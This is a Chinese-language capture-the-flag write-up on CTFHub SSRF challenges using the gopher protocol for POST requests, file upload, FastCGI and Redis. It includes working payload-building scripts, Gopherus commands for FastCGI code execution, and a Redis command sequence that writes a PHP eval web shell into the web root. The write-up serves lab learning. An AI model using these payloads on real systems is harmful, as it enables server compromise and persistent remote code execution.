POST请求
首先还是用十分方便的file协议看源码
这里的index.php其实和SSRF第一题内网访问的一样,之前忘记分析了,这里简单解释一下关键代码含义。
$ch = curl_init(); //初始化一个新的curl会话
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']); //设置CURLOPT_URL为request中的URL
curl_setopt($ch, CURLOPT_HEADER, 0); //设置CURLOPT_HEADER为0时,不包含头部信息在输出中
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); //设置CURLOPT_FOLLOWLOCATION为1时,跟踪跳转链接
curl_exec($ch);
curl_close($ch);
接下来看flag.php源码,可以看到与第一题内网访问不同的是这次的flag.php不仅对来访的ip进行检查,还会检查POST请求包中的key的值是否正确,而key的正确答案显然就在下面debug注释中嵌入的php代码里,通过http协议访问该文件即可看到php执行结果获取key。
现在的问题是需要使得index.php中的curl会话能发出含有正确key的POST请求,这样才能同时满足flag.php中的IP要求和key要求。
正常情况下用curl实现post请求是用如下设置实现:
curl_setopt($ch, CURLOPT_URL, 'http://127.0.0.1/flag.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
然而这里条件有限,不能去设置CURLOPT_POST这些选项来完成POST请求。但是我通过查找发现还有一种方式,即通过gopher协议实现POST请求。Gopher协议是一种早期的互联网协议,用于在网络上获取文本信息,默认端口号为70。gopher协议的格式通常为:
gopher://hostname:port/_数据
由于gopher协议本质就是基于TCP的套接字,发送的ip、端口号和数据都可以自定义,所以也可以发出http协议中的GET/POST请求,而它又受curl方法支持,所以将含有POST请求包的gopher协议传入CURLOPT_URL发到80端口,即可完成POST请求,类似的还可以完成其他请求如ftp等。需要主要三点:
1.gopher协议默认端口是70,发出http请求时需要显示填写端口80。
2.gopher协议执行时会将数据部分进行URL解码,所以需要将POST请求进行URL编码,并且将编码后的URL换行符'%0A'替换为gopher协议中支持的换行符'%0D%0A';
3.在浏览器地址栏传递的GET请求里'/?url='后面的内容也需要进行URL编码,所以在1和2的基础上做好的payload还需要再进行一次URL编码。
这里为了能够得到一个编写好的POST请求(要求包含正确的content-length,content-type,origin等字段)可以在终端补全flag.php页面的提交按钮,然后点击提交后用BurpSuite抓包,再完成payload。
flag.php页面:
补全提交按钮:
抓到的包:
构造payload:
import urllib.parse
payload =\
"""
POST /flag.php HTTP/1.1
Host: challenge-b8a6b0fb5927e641.sandbox.ctfhub.com:10800
Content-Length: 62
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://challenge-b8a6b0fb5927e641.sandbox.ctfhub.com:10800
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://challenge-b8a6b0fb5927e641.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
key=0831debdea14b5bc820522d505574512&submit=%E6%8F%90%E4%BA%A4
"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)#第一次URL编码
new = tmp.replace('%0A','%0D%0A')#gopher中POST请求 换行使用 %0D%0A
result = 'gopher://127.0.0.1:80/'+'_'+new #补上gopher协议头
result = urllib.parse.quote(result)#第二次URL编码
print(result)
将运行结果传入index.php的url得到flag
上传文件
首先用file协议看index.php源码,发现和前面的题目一样只起到跳转作用。
然后看flag.php源码,可以看到以127.0.0.1上传一个文件即可获得flag
按照上节的思路,使用gopher协议发送Post请求完成文件上传。
补全提交按钮,选择提交的文件,注意文件非空:
点击提交时抓包:
利用gopher协议构造payload:
payload放入URL获取flag:
FastCGI协议
FastCGI协议是用于服务器中间件和后端通信的协议(通常也只在内网开放端口,PHP-FPM是常见的接收Nginx请求的后端FastCGI应用,端口9000)。在SSRF攻击中利用服务器的gopher协议头加FastCGI协议请求包即可伪造服务器对后端发送请求。在前面两题中使用了gopher+http请求,在本题则使用gopher+FastCGI请求,这就是本题的不同之处,请求体不同也导致了攻击效果不同。通常来说,http请求会在服务器中间件被解析,然后再转换为对后端的FastCGI请求,后端的CGI程序会返回执行的结果给服务器中间件,然后中间件再返回结果。如果这里用gopher+FastCGI请求直接发送了一个自己构造的FastCGI请求到后端,则自由度更大,因为自己构造的FastCGI请求是可以利用未授权访问漏洞实现类似文件包含漏洞的效果从而得到shell的,详情可以见本题提供的附件(这里)。
下面分别绘制了在题目的环境中(只有一台服务器),使用gopher+http请求以及gopher+FastCGI请求时数据传递的过程:
gopher+http
gopher+FastCGI
上面两个图是我自己的理解,有问题欢迎大家指正。由于FastGCI请求包通常由中间件自动生成,网上并没有找到比较好的手搓的FastGCI协议,所以这里直接借助工具来完成,gopherus可以一步到位生成gopher+FastCGI请求包。
首先在kali终端输入如下命令安装gopherus,建议使用steam++加速:
git clone https://github.com/tarunkant/Gopherus
报错解决方法:
export GIT_SSL_NO_VERIFY=1
安装完成以后在Gopher文件夹下运行如下命令启动gopher的FastGCI攻击:
./gopherus.py --exploit fastcgi
根据提示输入服务器上存在的php文件和想要执行的php命令,gopherus会自动生成利用未授权访问漏洞执行外部代码、由gopher+FastGCI组成的payload。
注意该payload不能直接使用,需要再进行一次URL编码,再将结果拷贝至浏览器的'/?url='后即可完成攻击使其执行相应代码。
找到了flag文件后,用cat flag*替换ls / 命令读取flag即可:
Redis协议
Redis是NOSQL数据库,即非关系型数据库
,也是缓存数据库,即将数据存储在内存
中,缓存的读取速度快,能够大大的提高运行效率,但是保存时间有限。而RESP(Redis Serialization Protocol)协议用于Redis客户端与服务器进行通信。
RESP请求同样可以用gopoher协议封装,并发送到默认端口6379。利用Redis攻击的一种简单方法是,在无访问认证的情况下直接连接Redis数据库,然后通过修改Redis配置文件实现文件上传攻击。
要构造RESP请求就需要了解Redis命令基础,常见数据结构和数据在传输时的格式参考该链接(这里),攻击需要用到的命令参考如下代码:
flushall //删除所有数据库中的所有键
set payload <?php eval($_POST["cmd"]);?> //添加一对键值(一句话木马)
config set dir var/www/html //设置存储持久化数据的位置
config set dbfilename shell.php //设置存储持久化数据的文件名
save //保存数据到文件(持久化)
根据上面提到的参考资料,可以构造出包含上述命令的RESP请求,再结合前面的方法构造出gopher请求,生成最终payload。
'''
5种数据类型
Simple Strings 以 + 开头
error 以 - 开头
Integer 以 : 开头
Bulk Strings 以 $ 开头 有最大长度,比Simple Strings安全
array 以 * 开头
一条命令的数据格式为多个string组成的array
eg:发送命令[command1="word1 word2",command2="word3"]的数据格式为:
*2
$[len1]
[word1]
$[len2]
[word2]
*1
$[len3]
[word3]
'''
from TOOL_gopher import gopher_encode
cmd=[['flushall'],
['set', 'payload', '<?php eval($_POST["cmd"]);?>'],
['config', 'set', 'dir', '/var/www/html'],
['config', 'set', 'dbfilename', 'shell.php'],
['save']]
payload = ''
for command in cmd:
payload += '*' + str(len(command)) + '\n'
for word in command:
payload += '$' + str(len(word)) + '\n' + word + '\n'
#print(payload)
print(gopher_encode(payload, 6379))
也可以用gopher一键生成:
使用蚁剑连接/shell.php即可。
或者用GET版一句话木马+url传递system()函数来执行命令,也可。